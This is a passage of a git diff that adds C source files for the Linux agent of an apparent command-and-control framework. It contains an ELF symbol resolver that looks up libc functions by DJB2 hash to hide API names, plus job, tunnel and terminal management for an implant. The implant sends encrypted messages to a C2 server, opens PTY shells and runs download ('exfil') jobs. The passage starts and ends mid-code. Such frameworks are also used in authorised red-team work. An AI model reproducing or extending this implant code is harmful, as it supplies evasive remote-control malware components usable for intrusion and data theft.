*lib_base, uint32_t symbol_hash) +{ + if (!lib_base) return NULL; + + const Elf64_Ehdr *ehdr = (const Elf64_Ehdr *)lib_base; + if (!is_valid_elf64(ehdr)) return NULL; + + uintptr_t base = (uintptr_t)lib_base; + + // Find PT_DYNAMIC and PT_LOAD[0] for bias calculation + const Elf64_Phdr *phdr = (const Elf64_Phdr *)(base + ehdr->e_phoff); + const Elf64_Dyn *dyn = NULL; + uintptr_t load_bias = 0; + int found_load = 0; + + for (uint16_t i = 0; i < ehdr->e_phnum; i++) { + if (phdr[i].p_type == PT_DYNAMIC) { + dyn = (const Elf64_Dyn *)(base + phdr[i].p_offset); + } + if (phdr[i].p_type == PT_LOAD && !found_load) { + // Load bias = actual base - expected vaddr of first PT_LOAD + load_bias = base - phdr[i].p_vaddr; + found_load = 1; + } + } + + if (!dyn) return NULL; + + // Extract DT_SYMTAB, DT_STRTAB, DT_HASH/DT_GNU_HASH from PT_DYNAMIC + const Elf64_Sym *symtab = NULL; + const char *strtab = NULL; + const Elf_Hash *elf_hash = NULL; + const Gnu_Hash *gnu_hash = NULL; + uint64_t strsz = 0; + + for (const Elf64_Dyn *d = dyn; d->d_tag != DT_NULL; d++) { + switch (d->d_tag) { + case DT_SYMTAB: symtab = (const Elf64_Sym *)(load_bias + d->d_val); break; + case DT_STRTAB: strtab = (const char *)(load_bias + d->d_val); break; + case DT_STRSZ: strsz = d->d_val; break; + case DT_HASH: elf_hash = (const Elf_Hash *)(load_bias + d->d_val); break; + case DT_GNU_HASH: gnu_hash = (const Gnu_Hash *)(load_bias + d->d_val); break; + } + } + + if (!symtab || !strtab) return NULL; + + // Determine symbol count. + // If DT_HASH is available, nchain == total symbol count. + // If only DT_GNU_HASH, we need to walk the chain to find max index. + uint32_t nsyms = 0; + + if (elf_hash) { + nsyms = elf_hash->nchain; + } else if (gnu_hash) { + // Walk GNU hash chains to find the highest symbol index + const uint64_t *bloom = (const uint64_t *)(gnu_hash + 1); + const uint32_t *buckets = (const uint32_t *)(bloom + gnu_hash->maskwords); + const uint32_t *chains = buckets + gnu_hash->nbuckets; + + // Find highest occupied bucket + uint32_t max_idx = 0; + for (uint32_t i = 0; i < gnu_hash->nbuckets; i++) { + if (buckets[i] > max_idx) + max_idx = buckets[i]; + } + + if (max_idx >= gnu_hash->symndx) { + // Walk chain from max bucket entry to find last symbol + uint32_t idx = max_idx; + while (!(chains[idx - gnu_hash->symndx] & 1)) + idx++; + nsyms = idx + 1; + } else { + nsyms = gnu_hash->symndx; + } + } + + if (nsyms == 0) return NULL; + + // Linear walk over .dynsym — hash each exported symbol name + for (uint32_t i = 0; i < nsyms; i++) { + const Elf64_Sym *sym = &symtab[i]; + + // Skip undefined symbols + if (sym->st_shndx == SHN_UNDEF) continue; + + // Skip non-global/non-weak + uint8_t bind = ELF64_ST_BIND(sym->st_info); + if (bind != STB_GLOBAL && bind != STB_WEAK) continue; + + // Skip non-function/non-object + uint8_t type = ELF64_ST_TYPE(sym->st_info); + if (type != STT_FUNC && type != STT_OBJECT) continue; + + // Get symbol name from strtab + uint32_t name_off = sym->st_name; + if (name_off == 0 || name_off >= strsz) continue; + const char *name = strtab + name_off; + if (*name == '\0') continue; + + if (djb2_hash(DJB2_SEED, name) == symbol_hash) { + return (void *)(load_bias + sym->st_value); + } + } + + return NULL; +} + +/// Initialize the resolver — resolve all APIs from loaded libraries +int elf_resolver_init(void) +{ + ax_memset(&g_apis, 0, sizeof(g_apis)); + + // Parse /proc/self/maps to find all loaded libraries + lib_entry_t libs[MAX_LIBS]; + int lib_count = parse_proc_maps(libs, MAX_LIBS); + if (lib_count == 0) return -1; + + // Collect valid ELF image bases + void *images[MAX_LIBS]; + int image_count = 0; + + for (int i = 0; i < lib_count; i++) { + void *base = (void *)libs[i].base; + if (is_valid_elf64(base)) { + images[image_count++] = base; + } + } + + if (image_count == 0) return -1; + + // Resolve macro: try all images until found + #define RESOLVE(field, name_str) do { \ + uint32_t _h = djb2_hash(DJB2_SEED, name_str); \ + for (int _i = 0; _i < image_count && !g_apis.field; _i++) { \ + g_apis.field = elf_resolve_sym(images[_i], _h); \ + } \ + } while(0) + + // ── File I/O ── + RESOLVE(fn_open, "open"); + RESOLVE(fn_close, "close"); + RESOLVE(fn_read, "read"); + RESOLVE(fn_write, "write"); + RESOLVE(fn_stat, "stat"); + RESOLVE(fn_fstat, "fstat"); + RESOLVE(fn_unlink, "unlink"); + RESOLVE(fn_rename, "rename"); + RESOLVE(fn_mkdir, "mkdir"); + RESOLVE(fn_opendir, "opendir"); + RESOLVE(fn_readdir, "readdir"); + RESOLVE(fn_closedir, "closedir"); + RESOLVE(fn_getcwd, "getcwd"); + RESOLVE(fn_chdir, "chdir"); + RESOLVE(fn_rmdir, "rmdir"); + RESOLVE(fn_rewinddir, "rewinddir"); + + // ── Memory ── + RESOLVE(fn_mmap, "mmap"); + RESOLVE(fn_munmap, "munmap"); + RESOLVE(fn_mprotect, "mprotect"); + + // ── Process ── + RESOLVE(fn_fork, "fork"); + RESOLVE(fn_execve, "execve"); + RESOLVE(fn_execvp, "execvp"); + RESOLVE(fn_waitpid, "waitpid"); + RESOLVE(fn_getpid, "getpid"); + RESOLVE(fn_getuid, "getuid"); + RESOLVE(fn_geteuid, "geteuid"); + RESOLVE(fn_kill, "kill"); + RESOLVE(fn_setsid, "setsid"); + RESOLVE(fn_setpgid, "setpgid"); + RESOLVE(fn_exit, "_exit"); + RESOLVE(fn_prctl, "prctl"); + + // ── Network ── + RESOLVE(fn_socket, "socket"); + RESOLVE(fn_connect, "connect"); + RESOLVE(fn_getaddrinfo, "getaddrinfo"); + RESOLVE(fn_freeaddrinfo, "freeaddrinfo"); + RESOLVE(fn_gethostname, "gethostname"); + RESOLVE(fn_setsockopt, "setsockopt"); + RESOLVE(fn_getsockopt, "getsockopt"); + RESOLVE(fn_select, "select"); + RESOLVE(fn_send, "send"); + RESOLVE(fn_recv, "recv"); + RESOLVE(fn_bind, "bind"); + RESOLVE(fn_listen, "listen"); + RESOLVE(fn_accept, "accept"); + + // ── Threading ── + // On glibc 2.34+, pthread is merged into libc.so.6 + RESOLVE(fn_pthread_create, "pthread_create"); + RESOLVE(fn_pthread_detach, "pthread_detach"); + RESOLVE(fn_pthread_mutex_init, "pthread_mutex_init"); + RESOLVE(fn_pthread_mutex_lock, "pthread_mutex_lock"); + RESOLVE(fn_pthread_mutex_unlock, "pthread_mutex_unlock"); + + // ── Pipes & PTY ── + RESOLVE(fn_pipe, "pipe"); + RESOLVE(fn_dup2, "dup2"); + RESOLVE(fn_fcntl, "fcntl"); + RESOLVE(fn_posix_openpt, "posix_openpt"); + RESOLVE(fn_grantpt, "grantpt"); + RESOLVE(fn_unlockpt, "unlockpt"); + RESOLVE(fn_ptsname, "ptsname"); + RESOLVE(fn_ioctl, "ioctl"); + + // ── System ── + RESOLVE(fn_getenv, "getenv"); + RESOLVE(fn_setenv, "setenv"); + RESOLVE(fn_sleep, "sleep"); + RESOLVE(fn_usleep, "usleep"); + RESOLVE(fn_snprintf, "snprintf"); + RESOLVE(fn_strtol, "strtol"); + + // ── User/Group ── + RESOLVE(fn_getpwuid, "getpwuid"); + RESOLVE(fn_getgrgid, "getgrgid"); + RESOLVE(fn_getifaddrs, "getifaddrs"); + RESOLVE(fn_freeifaddrs, "freeifaddrs"); + RESOLVE(fn_inet_ntop, "inet_ntop"); + RESOLVE(fn_localtime, "localtime"); + RESOLVE(fn_strftime, "strftime"); + + // ── Dynamic ── + RESOLVE(fn_dlopen, "dlopen"); + RESOLVE(fn_dlsym, "dlsym"); + RESOLVE(fn_dlclose, "dlclose"); + + #undef RESOLVE + + return 0; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h new file mode 100644 index 000000000..2397d4598 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/elf_resolve.h @@ -0,0 +1,213 @@ +#ifndef ELF_RESOLVE_H +#define ELF_RESOLVE_H + +#include +#include + +/// ELF hash-based API resolution for Linux +/// Parses /proc/self/maps → walks ELF .dynsym/.dynstr → DJB2 hash matching +/// +/// Two modes: +/// 1. Static ELF (BUILD_SO not defined): stubs — all ops use direct syscalls +/// 2. Shared Object (BUILD_SO defined): full resolver — libc is loaded by ld.so + +#ifndef DJB2_SEED +#define DJB2_SEED 0x1505U +#endif + +/// DJB2 hash — case-insensitive, seeded. Matches Go-side djb2Hash() exactly. +uint32_t djb2_hash(uint32_t seed, const char *s); + +/// Resolve a loaded shared library by DJB2 hash of its basename. +/// Scans /proc/self/maps for r-xp mappings, hashes each library name. +/// Returns the base address (lowest mapping) or NULL. +void *elf_resolve_lib(uint32_t name_hash); + +/// Resolve a symbol within an ELF library by DJB2 hash. +/// Parses ELF header → PT_DYNAMIC → DT_SYMTAB + DT_STRTAB + DT_GNU_HASH +/// Returns the symbol's absolute address or NULL. +void *elf_resolve_sym(void *lib_base, uint32_t symbol_hash); + +/// Initialize the resolver — resolves all APIs into g_apis. +/// Call once at startup. Returns 0 on success, -1 on failure. +int elf_resolver_init(void); + +/// Resolved API table — function pointers populated by elf_resolver_init() +typedef struct { + // ── File I/O ── + void *fn_open; + void *fn_close; + void *fn_read; + void *fn_write; + void *fn_stat; + void *fn_fstat; + void *fn_unlink; + void *fn_rename; + void *fn_mkdir; + void *fn_opendir; + void *fn_readdir; + void *fn_closedir; + void *fn_getcwd; + void *fn_chdir; + void *fn_rmdir; + void *fn_rewinddir; + + // ── Memory ── + void *fn_mmap; + void *fn_munmap; + void *fn_mprotect; + + // ── Process ── + void *fn_fork; + void *fn_execve; + void *fn_execvp; + void *fn_waitpid; + void *fn_getpid; + void *fn_getuid; + void *fn_geteuid; + void *fn_kill; + void *fn_setsid; + void *fn_setpgid; + void *fn_exit; + void *fn_prctl; + + // ── Network ── + void *fn_socket; + void *fn_connect; + void *fn_getaddrinfo; + void *fn_freeaddrinfo; + void *fn_gethostname; + void *fn_setsockopt; + void *fn_getsockopt; + void *fn_select; + void *fn_send; + void *fn_recv; + void *fn_bind; + void *fn_listen; + void *fn_accept; + + // ── Threading ── + void *fn_pthread_create; + void *fn_pthread_detach; + void *fn_pthread_mutex_init; + void *fn_pthread_mutex_lock; + void *fn_pthread_mutex_unlock; + + // ── Pipes & PTY ── + void *fn_pipe; + void *fn_dup2; + void *fn_fcntl; + void *fn_posix_openpt; + void *fn_grantpt; + void *fn_unlockpt; + void *fn_ptsname; + void *fn_ioctl; + + // ── System ── + void *fn_getenv; + void *fn_setenv; + void *fn_sleep; + void *fn_usleep; + void *fn_snprintf; + void *fn_strtol; + + // ── User/Group ── + void *fn_getpwuid; + void *fn_getgrgid; + void *fn_getifaddrs; + void *fn_freeifaddrs; + void *fn_inet_ntop; + void *fn_localtime; + void *fn_strftime; + + // ── Dynamic ── + void *fn_dlopen; + void *fn_dlsym; + void *fn_dlclose; +} resolved_apis_t; + +extern resolved_apis_t g_apis; + +// ── Convenience casting macros ── +// Type-safe access to resolved APIs. Use ONLY when the resolver has populated g_apis +// (i.e. BUILD_SO mode). In static mode, use sys_*() direct syscalls instead. + +#define R_open(p,f,m) ((int(*)(const char*,int,...))g_apis.fn_open)(p,f,m) +#define R_close(fd) ((int(*)(int))g_apis.fn_close)(fd) +#define R_read(fd,b,n) ((long(*)(int,void*,unsigned long))g_apis.fn_read)(fd,b,n) +#define R_write(fd,b,n) ((long(*)(int,const void*,unsigned long))g_apis.fn_write)(fd,b,n) +#define R_stat(p,s) ((int(*)(const char*,void*))g_apis.fn_stat)(p,s) +#define R_fstat(fd,s) ((int(*)(int,void*))g_apis.fn_fstat)(fd,s) +#define R_unlink(p) ((int(*)(const char*))g_apis.fn_unlink)(p) +#define R_rename(o,n) ((int(*)(const char*,const char*))g_apis.fn_rename)(o,n) +#define R_mkdir(p,m) ((int(*)(const char*,unsigned int))g_apis.fn_mkdir)(p,m) +#define R_opendir(p) ((void*(*)(const char*))g_apis.fn_opendir)(p) +#define R_readdir(d) ((void*(*)(void*))g_apis.fn_readdir)(d) +#define R_closedir(d) ((int(*)(void*))g_apis.fn_closedir)(d) +#define R_getcwd(b,s) ((char*(*)(char*,unsigned long))g_apis.fn_getcwd)(b,s) +#define R_chdir(p) ((int(*)(const char*))g_apis.fn_chdir)(p) +#define R_rmdir(p) ((int(*)(const char*))g_apis.fn_rmdir)(p) +#define R_rewinddir(d) ((void(*)(void*))g_apis.fn_rewinddir)(d) + +#define R_fork() ((int(*)(void))g_apis.fn_fork)() +#define R_execve(p,a,e) ((int(*)(const char*,char*const*,char*const*))g_apis.fn_execve)(p,a,e) +#define R_execvp(f,a) ((int(*)(const char*,char*const*))g_apis.fn_execvp)(f,a) +#define R_waitpid(p,s,o) ((int(*)(int,int*,int))g_apis.fn_waitpid)(p,s,o) +#define R_getpid() ((int(*)(void))g_apis.fn_getpid)() +#define R_getuid() ((unsigned int(*)(void))g_apis.fn_getuid)() +#define R_geteuid() ((unsigned int(*)(void))g_apis.fn_geteuid)() +#define R_kill(p,s) ((int(*)(int,int))g_apis.fn_kill)(p,s) +#define R_setsid() ((int(*)(void))g_apis.fn_setsid)() +#define R_setpgid(p,g) ((int(*)(int,int))g_apis.fn_setpgid)(p,g) +#define R_exit(s) ((void(*)(int))g_apis.fn_exit)(s) +#define R_prctl(o,a2,a3,a4,a5) ((int(*)(int,unsigned long,unsigned long,unsigned long,unsigned long))g_apis.fn_prctl)(o,a2,a3,a4,a5) + +#define R_socket(d,t,p) ((int(*)(int,int,int))g_apis.fn_socket)(d,t,p) +#define R_connect(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_connect)(s,a,l) +#define R_getaddrinfo(h,s,hi,r) ((int(*)(const char*,const char*,const void*,void**))g_apis.fn_getaddrinfo)(h,s,hi,r) +#define R_freeaddrinfo(r) ((void(*)(void*))g_apis.fn_freeaddrinfo)(r) +#define R_gethostname(b,l) ((int(*)(char*,unsigned long))g_apis.fn_gethostname)(b,l) +#define R_setsockopt(s,l,o,v,n) ((int(*)(int,int,int,const void*,unsigned int))g_apis.fn_setsockopt)(s,l,o,v,n) +#define R_getsockopt(s,l,o,v,n) ((int(*)(int,int,int,void*,unsigned int*))g_apis.fn_getsockopt)(s,l,o,v,n) +#define R_select(n,r,w,e,t) ((int(*)(int,void*,void*,void*,void*))g_apis.fn_select)(n,r,w,e,t) +#define R_send(s,b,l,f) ((long(*)(int,const void*,unsigned long,int))g_apis.fn_send)(s,b,l,f) +#define R_recv(s,b,l,f) ((long(*)(int,void*,unsigned long,int))g_apis.fn_recv)(s,b,l,f) +#define R_bind(s,a,l) ((int(*)(int,const void*,unsigned int))g_apis.fn_bind)(s,a,l) +#define R_listen(s,b) ((int(*)(int,int))g_apis.fn_listen)(s,b) +#define R_accept(s,a,l) ((int(*)(int,void*,unsigned int*))g_apis.fn_accept)(s,a,l) + +#define R_pthread_create(t,a,f,d) ((int(*)(void*,const void*,void*(*)(void*),void*))g_apis.fn_pthread_create)(t,a,f,d) +#define R_pthread_detach(t) ((int(*)(unsigned long))g_apis.fn_pthread_detach)(t) +#define R_pthread_mutex_init(m,a) ((int(*)(void*,const void*))g_apis.fn_pthread_mutex_init)(m,a) +#define R_pthread_mutex_lock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_lock)(m) +#define R_pthread_mutex_unlock(m) ((int(*)(void*))g_apis.fn_pthread_mutex_unlock)(m) + +#define R_pipe(p) ((int(*)(int*))g_apis.fn_pipe)(p) +#define R_dup2(o,n) ((int(*)(int,int))g_apis.fn_dup2)(o,n) +#define R_fcntl(fd,cmd,...) ((int(*)(int,int,...))g_apis.fn_fcntl)(fd,cmd,##__VA_ARGS__) +#define R_posix_openpt(f) ((int(*)(int))g_apis.fn_posix_openpt)(f) +#define R_grantpt(fd) ((int(*)(int))g_apis.fn_grantpt)(fd) +#define R_unlockpt(fd) ((int(*)(int))g_apis.fn_unlockpt)(fd) +#define R_ptsname(fd) ((char*(*)(int))g_apis.fn_ptsname)(fd) +#define R_ioctl(fd,r,...) ((int(*)(int,unsigned long,...))g_apis.fn_ioctl)(fd,r,##__VA_ARGS__) + +#define R_getenv(k) ((char*(*)(const char*))g_apis.fn_getenv)(k) +#define R_setenv(k,v,o) ((int(*)(const char*,const char*,int))g_apis.fn_setenv)(k,v,o) +#define R_sleep(s) ((unsigned int(*)(unsigned int))g_apis.fn_sleep)(s) +#define R_usleep(u) ((int(*)(unsigned int))g_apis.fn_usleep)(u) +#define R_snprintf(b,n,f,...) ((int(*)(char*,unsigned long,const char*,...))g_apis.fn_snprintf)(b,n,f,##__VA_ARGS__) +#define R_strtol(s,e,b) ((long(*)(const char*,char**,int))g_apis.fn_strtol)(s,e,b) + +#define R_getpwuid(u) ((void*(*)(unsigned int))g_apis.fn_getpwuid)(u) +#define R_getgrgid(g) ((void*(*)(unsigned int))g_apis.fn_getgrgid)(g) +#define R_getifaddrs(a) ((int(*)(void**))g_apis.fn_getifaddrs)(a) +#define R_freeifaddrs(a) ((void(*)(void*))g_apis.fn_freeifaddrs)(a) +#define R_inet_ntop(f,s,d,l) ((const char*(*)(int,const void*,char*,unsigned int))g_apis.fn_inet_ntop)(f,s,d,l) +#define R_localtime(t) ((void*(*)(const void*))g_apis.fn_localtime)(t) +#define R_strftime(b,m,f,t) ((unsigned long(*)(char*,unsigned long,const char*,const void*))g_apis.fn_strftime)(b,m,f,t) + +#define R_dlopen(f,m) ((void*(*)(const char*,int))g_apis.fn_dlopen)(f,m) +#define R_dlsym(h,s) ((void*(*)(void*,const char*))g_apis.fn_dlsym)(h,s) +#define R_dlclose(h) ((int(*)(void*))g_apis.fn_dlclose)(h) + +#endif /* ELF_RESOLVE_H */ diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c new file mode 100644 index 000000000..6bc7ebea1 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.c @@ -0,0 +1,297 @@ +/// jobs.c -- Job management for Linux agent +/// Dual mode: static ELF (clone+spinlock) or SO (pthread via resolver) + +#include "jobs.h" +#include "crt.h" +#include "crypt.h" +#include "msgpack.h" + +#ifdef BUILD_SO +#include "elf_resolve.h" +#else +#ifdef ARCH_X86_64 +#include "syscalls_x64.h" +#endif +#ifdef ARCH_AARCH64 +#include "syscalls_aarch64.h" +#endif +#endif + +/// Global job context instance +job_context_t g_job_ctx; + +// ── Threading abstraction ── + +#ifdef BUILD_SO + +void jobs_mutex_init(pthread_mutex_t *m) { + R_pthread_mutex_init(m, (void*)0); +} + +void jobs_mutex_lock(pthread_mutex_t *m) { + R_pthread_mutex_lock(m); +} + +void jobs_mutex_unlock(pthread_mutex_t *m) { + R_pthread_mutex_unlock(m); +} + +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) { + pthread_t t; + int ret = R_pthread_create(&t, (void*)0, fn, arg); + if (ret == 0) { + R_pthread_detach(t); + if (tid) *tid = t; + } + return ret; +} + +#else + +// Static mode: spinlock + clone() with mmap'd stack + +void jobs_mutex_init(pthread_mutex_t *m) { + m->__lock = 0; +} + +// Atomic swap: returns previous value, stores new_val +static inline int atomic_swap(volatile int *ptr, int new_val) { +#ifdef ARCH_X86_64 + return __sync_lock_test_and_set(ptr, new_val); +#else + // ARM64: LDAXR/STLXR loop (no libgcc dependency) + int old, tmp; + __asm__ volatile( + "1: ldaxr %w0, [%2] \n" + " stlxr %w1, %w3, [%2] \n" + " cbnz %w1, 1b \n" + : "=&r"(old), "=&r"(tmp) + : "r"(ptr), "r"(new_val) + : "memory" + ); + return old; +#endif +} + +static inline void atomic_store_release(volatile int *ptr, int val) { +#ifdef ARCH_X86_64 + __sync_lock_release(ptr); +#else + __asm__ volatile("stlr %w0, [%1]" : : "r"(val), "r"(ptr) : "memory"); +#endif +} + +void jobs_mutex_lock(pthread_mutex_t *m) { + while (atomic_swap(&m->__lock, 1)) { + while (m->__lock) { +#ifdef ARCH_X86_64 + __asm__ volatile("pause"); +#else + __asm__ volatile("yield"); +#endif + } + } +} + +void jobs_mutex_unlock(pthread_mutex_t *m) { + atomic_store_release(&m->__lock, 0); +} + +#define THREAD_STACK_SIZE (256 * 1024) + +// Trampoline for clone-based threads +typedef struct { + void *(*fn)(void*); + void *arg; +} clone_trampoline_t; + +static int _clone_entry(void *param) { + clone_trampoline_t *info = (clone_trampoline_t*)param; + void *(*fn)(void*) = info->fn; + void *arg = info->arg; + ax_free(info); + + fn(arg); + + // Exit just this thread (with CLONE_THREAD, exit_group exits the thread) + raw_syscall1(__NR_exit, 0); + return 0; // unreachable +} + +int jobs_thread_create(pthread_t *tid, void *(*fn)(void*), void *arg) { + // Allocate stack via mmap + void *stack = sys_mmap((void*)0, THREAD_STACK_SIZE, + 3 /*PROT_READ|PROT_WRITE*/, + 0x22 /*MAP_PRIVATE|MAP_ANONYMOUS*/, + -1, 0); + if ((long)stack <= 0) return -1; + + clone_trampoline_t *info = (clone_trampoline_t*)ax_malloc(sizeof(clone_trampoline_t)); + info->fn = fn; + info->arg = arg; + + // Stack grows downward + void *stack_top = (uint8_t*)stack + THREAD_STACK_SIZE; + + long ret = raw_syscall5(__NR_clone, + (long)(CLONE_VM | CLONE_FS | CLONE_FILES | CLONE_SIGHAND | CLONE_THREAD), + (long)stack_top, + 0, 0, + (long)info); + + if (ret < 0) { + ax_free(info); + sys_munmap(stack, THREAD_STACK_SIZE); + return -1; + } + + if (ret == 0) { + // Child thread + _clone_entry(info); + // unreachable + } + + if (tid) *tid = (pthread_t)ret; + return 0; +} + +#endif // BUILD_SO + +// ── Job context management ── + +void jobs_init(job_context_t *ctx) { + ax_memset(ctx, 0, sizeof(job_context_t)); + jobs_mutex_init(&ctx->jobs_mutex); + jobs_mutex_init(&ctx->tunnels_mutex); + jobs_mutex_init(&ctx->terminals_mutex); +} + +void jobs_update_connection(job_context_t *ctx, const char *address, + int banner_size, const uint8_t *enc_key, + uint32_t profile_type) { + ax_strncpy(ctx->address, address, sizeof(ctx->address) - 1); + ctx->banner_size = banner_size; + ax_memcpy(ctx->enc_key, enc_key, 16); + ctx->profile_type = profile_type; +} + +int jobs_open_connection(job_context_t *ctx, connector_t *conn) { + if (conn_open(conn, ctx->address) != 0) + return -1; + + if (ctx->banner_size > 0) { + if (conn_discard(conn, (size_t)ctx->banner_size) != 0) { + conn_close(conn); + return -1; + } + } + return 0; +} + +int jobs_alloc(job_context_t *ctx) { + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (!ctx->jobs[i].active) { + ax_memset(&ctx->jobs[i], 0, sizeof(job_entry_t)); + ctx->jobs[i].conn.fd = -1; + jobs_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +int jobs_find(job_context_t *ctx, const char *job_id) { + jobs_mutex_lock(&ctx->jobs_mutex); + for (int i = 0; i < MAX_JOBS; i++) { + if (ctx->jobs[i].active && ax_strcmp(ctx->jobs[i].job_id, job_id) == 0) { + jobs_mutex_unlock(&ctx->jobs_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->jobs_mutex); + return -1; +} + +void jobs_remove(job_context_t *ctx, int idx) { + jobs_mutex_lock(&ctx->jobs_mutex); + if (idx >= 0 && idx < MAX_JOBS) { + ctx->jobs[idx].active = 0; + ctx->jobs[idx].job_id[0] = '\0'; + } + jobs_mutex_unlock(&ctx->jobs_mutex); +} + +int tunnels_find(job_context_t *ctx, int channel_id) { + jobs_mutex_lock(&ctx->tunnels_mutex); + for (int i = 0; i < MAX_TUNNELS; i++) { + if (ctx->tunnels[i].active && ctx->tunnels[i].channel_id == channel_id) { + jobs_mutex_unlock(&ctx->tunnels_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->tunnels_mutex); + return -1; +} + +int terminals_find(job_context_t *ctx, int term_id) { + jobs_mutex_lock(&ctx->terminals_mutex); + for (int i = 0; i < MAX_TERMINALS; i++) { + if (ctx->terminals[i].active && ctx->terminals[i].term_id == term_id) { + jobs_mutex_unlock(&ctx->terminals_mutex); + return i; + } + } + jobs_mutex_unlock(&ctx->terminals_mutex); + return -1; +} + +int jobs_send_init(job_context_t *ctx, connector_t *conn, + int pack_type, const uint8_t *pack_data, uint32_t pack_len) { + mp_writer_t outer; + mp_writer_init(&outer, 256); + mp_write_map(&outer, 2); + mp_write_kv_int(&outer, "id", pack_type); + mp_write_kv_bin(&outer, "data", pack_data, pack_len); + + size_t enc_len; + uint8_t *encrypted = aes128_gcm_encrypt(outer.buf.data, outer.buf.len, + ctx->enc_key, &enc_len); + mp_writer_free(&outer); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted); + return ret; +} + +int jobs_send_message(job_context_t *ctx, connector_t *conn, + uint32_t command_id, const char *job_id, + const uint8_t *data, uint32_t data_len) { + mp_writer_t job_w; + mp_writer_init(&job_w, 256 + data_len); + mp_write_map(&job_w, 3); + mp_write_kv_uint(&job_w, "command_id", command_id); + mp_write_kv_str(&job_w, "job_id", job_id); + mp_write_kv_bin(&job_w, "data", data, data_len); + + mp_writer_t msg_w; + mp_writer_init(&msg_w, 256 + job_w.buf.len); + mp_write_map(&msg_w, 2); + mp_write_kv_int(&msg_w, "type", 2); + mp_write_str(&msg_w, "object", 6); + mp_write_array(&msg_w, 1); + mp_write_bin(&msg_w, job_w.buf.data, (uint32_t)job_w.buf.len); + mp_writer_free(&job_w); + + size_t enc_len; + uint8_t *encrypted = aes128_gcm_encrypt(msg_w.buf.data, msg_w.buf.len, + ctx->session_key, &enc_len); + mp_writer_free(&msg_w); + if (!encrypted) return -1; + + int ret = conn_send_msg(conn, encrypted, enc_len); + ax_free(encrypted); + return ret; +} diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h new file mode 100644 index 000000000..2642abfb7 --- /dev/null +++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/jobs.h @@ -0,0 +1,164 @@ +#ifndef JOBS_H +#define JOBS_H + +#include "types.h" +#include "connector.h" +#include "msgpack.h" +#include + +/// Threading abstraction: +/// - BUILD_SO mode: uses R_pthread_create/mutex from resolved libc +/// - Static ELF mode: uses clone() with mmap'd stack (no libc) + +#ifndef _PTHREAD_TYPES_DEFINED +#define _PTHREAD_TYPES_DEFINED +typedef unsigned long pthread_t; +typedef struct { volatile int __lock; } pthread_mutex_t; +#endif + +/// Job management system -- async tasks via threads +/// Matches Go agent's DOWNLOADS, JOBS, TUNNELS, TERMINALS maps + +#define MAX_JOBS 32 +#define MAX_TUNNELS 16 +#define MAX_TERMINALS 8 + +/// Job types (maps to pack types) +#define JOB_TYPE_DOWNLOAD EXFIL_PACK /* 2 */ +#define JOB_TYPE_RUN JOB_PACK /* 3 */ +#define JOB_TYPE_TUNNEL JOB_TUNNEL /* 4 */ +#define JOB_TYPE_TERMINAL JOB_TERMINAL /* 5 */ + +/// Job state +typedef struct { + char job_id[64]; /* task ID (hex string from server) */ + int job_type; /* JOB_TYPE_* */ + int active; /* 1 = running, 0 = finished/canceled */ + int canceled; /* 1 = cancel requested */ + pthread_t thread; /* worker thread */ + connector_t conn; /* separate C2 connection for this job */ +} job_entry_t; + +/// Tunnel controller -- MUX model (data flows in main channel, no separate C2 connection) +/// Follows beacon's Proxyfire pattern: non-blocking polling in main loop. +#define TUNNEL_STATE_CONNECTING 0 +#define TUNNEL_STATE_READY 1 +#define TUNNEL_STATE_CLOSED 2 + +#define TUNNEL_HIGH_WATERMARK (4 * 1024 * 1024) /* 4 MB: send PAUSE to teamserver */ +#define TUNNEL_LOW_WATERMARK (1 * 1024 * 1024) /* 1 MB: send RESUME to teamserver */ +#define TUNNEL_HARD_CAP (16 * 1024 * 1024) /* 16 MB: kill channel */ +#define TUNNEL_CONNECT_TIMEOUT 30 /* seconds */ + +typedef struct { + int channel_id; + int active; + int paused; /* teamserver told us to stop reading from target */ + int client_fd; /* socket to target (non-blocking) */ + int state; /* TUNNEL_STATE_* */ + uint8_t *write_buf; /* data from teamserver → target socket */ + uint32_t write_len; + uint32_t write_cap; + int agent_paused; /* we sent PAUSE to teamserver (backpressure) */ + uint32_t connect_start; /* monotonic timestamp for connect timeout */ +} tunnel_entry_t; + +/// Terminal controller +typedef struct { + int term_id; + int active; + int canceled; + pthread_t thread; + connector_t srv_conn; /* connection to C2 */ + int pty_master; /* PTY master fd */ + int child_pid; /* shell process pid */ +} terminal_entry_t; + +/// Upload staging (synchronous -- data received in command loop) +typedef struct { + char task_id[64]; + uint8_t *data; + size_t data_len; + size_t data_cap; +} upload_entry_t; + +/// Global job context -- shared state needed by async threads +typedef struct { + /* Agent identity (for init packs) */ + uint32_t agent_id; + uint32_t profile_type; + uint8_t enc_key[16]; /* profile encryption key */ + uint8_t session_key[16]; /* session key (SKey) */ + + /* Connection info for spawning new connections */ + char address[256]; /* current C2 address */ + int banner_size; /* banner to discard on new connections */ + + /* Job tracking */ + job_entry_t jobs[MAX_JOBS]; + int job_count; + pthread_mutex_t jobs_mutex; + + /* Tunnel tracking */ + tunnel_entry_t tunnels[MAX_TUNNELS]; + int tunnel_count; + pthread_mutex_t tunnels_mutex; + + /* Terminal tracking */ + terminal_entry_t terminals[MAX_TERMINALS]; + int terminal_count; + pthread_mutex_t terminals_mutex; + + /* Upload staging */ + upload_entry_t uploads[MAX_JOBS]; + int upload_count; +} job_context_t; + +/// Initialize job context (call once at startup) +void jobs_init(job_context_t *ctx); + +/// Update connection info when profile/address changes +void 